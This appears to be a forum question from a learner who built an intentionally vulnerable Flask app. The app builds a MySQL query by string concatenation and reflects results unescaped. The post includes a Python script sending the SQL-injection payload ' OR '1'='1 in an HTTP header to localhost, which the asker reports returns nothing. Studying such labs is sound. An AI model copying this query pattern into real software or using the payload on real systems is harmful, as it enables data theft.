I am learning about SQLI vulnerabilities, created an application in Flask with different vulnerable fields. One of these fields are HTTP headers.
# Página para configurar una cabecera HTTP con un valor especificado por el usuario
@app.route('/set_header')
def set_header():
header_name = request.args.get('header_name', '')
header_value = request.args.get('header_value', '')
# Configurar la cabecera HTTP con el valor proporcionado por el usuario
response = make_response("Cabecera configurada<br>")
response.headers[header_name] = header_value
# Buscar usuarios en la base de datos utilizando el valor de la cabecera
usuarios_encontrados = buscar_usuario_por_cabecera(header_value)
# Construir la respuesta HTML con los resultados
html = "<h1>Información de la tabla usuarios</h1>"
if usuarios_encontrados:
html += "<ul>"
for usuario in usuarios_encontrados:
html += f"<li>{usuario}</li>"
html += "</ul>"
else:
html += "<p>No se encontró información en la tabla usuarios.</p>"
# Adjuntar el HTML a la respuesta
response.set_data(response.get_data(as_text=True) + html)
return response
# Función para buscar usuarios en la base de datos utilizando el valor de la cabecera HTTP
def buscar_usuario_por_cabecera(valor_cabecera):
# Conexión a la base de datos MySQL
conexion = mysql.connector.connect(**db_config)
cursor = conexion.cursor()
# Construcción de la consulta SQL concatenando directamente los valores
consulta = "SELECT * FROM usuarios WHERE nombre = '" + valor_cabecera + "'"
# Ejecución de la consulta SQL
cursor.execute(consulta)
# Obtención de los resultados de la consulta
resultado = cursor.fetchall()
# Si se explota la vulnerabilidad, imprimir la información de la tabla
print("Información de la tabla usuarios:", resultado)
# Cierre de la conexión a la base de datos
conexion.close()
# Retorno de los resultados de la consulta
return resultado
The code I am using to exploit the vulnerability is:
import requests
# URL del punto de acceso vulnerable
url = 'http://127.0.0.1:5000/set_header'
# Payload malicioso para la inyección SQL
payload = "' OR '1'='1"
# Cabecera HTTP con el valor malicioso
headers = {'X-User': payload}
# Realizar la solicitud GET con la cabecera maliciosa
response = requests.get(url, headers=headers)
# Imprimir la respuesta del servidor
print(response.text)
But the result is:
Cabecera configurada<br><h1>Información de la tabla usuarios</h1><p>No se encontró información en la tabla usuarios.</p>
Apparently everything is correct, I think the error is in the exploit. How can I get it?